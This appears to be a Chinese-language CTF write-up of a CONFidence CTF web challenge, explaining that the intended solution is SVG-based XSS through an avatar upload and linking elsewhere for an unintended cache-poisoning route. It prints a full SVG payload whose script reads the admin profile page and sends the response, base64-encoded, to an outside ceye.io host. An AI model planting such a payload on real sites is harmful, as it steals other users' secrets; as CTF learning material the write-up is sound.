这道题是之前在看先知的文章看到了,看了一下发现有点有趣,记录一下
题目
地址:http://web50.zajebistyc.tf/
预期解是svg xss,非预期是缓存投毒
首先我们先看一下题目,进去是登录框,随便乱填就可以进去
![CONFidence CTF的一道题]()
进去以后有一个头像上传的地方和secret
的值,猜测应该是拿到管理员的secret
值,然后利用点应该就是头像上传的地方了
SVG XSS
在测试的过程中发现可以上传任意后缀的文件,但是文件头必须是图片格式且尺寸只能是100*100,而且上传html文件时发现服务器会将文件当做图片解析,因此后台应该是根据文件头去进行解析的,所以我们可以找一个可以进行xss的图片,也就是svg
原理参考: https://www.hackersb.cn/hacker/85.html
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /> <script> var xmlhttp = new XMLHttpRequest(); var response; xmlhttp.onreadystatechange = function() { if (4 == xmlhttp.readyState) { if (200 == xmlhttp.status) { location.href='http://onsdtb.ceye.io?'+btoa(xmlhttp.responseText); } } }; xmlhttp.open("GET", "/profile/admin"); xmlhttp.send(); </script> </svg>
|
缓存投毒
这里贴一波国外的师傅的writeup:https://ctftime.org/writeup/13925
因为这个考点触及到我的知识盲区了,肉鸡决定研究一下
参考
评论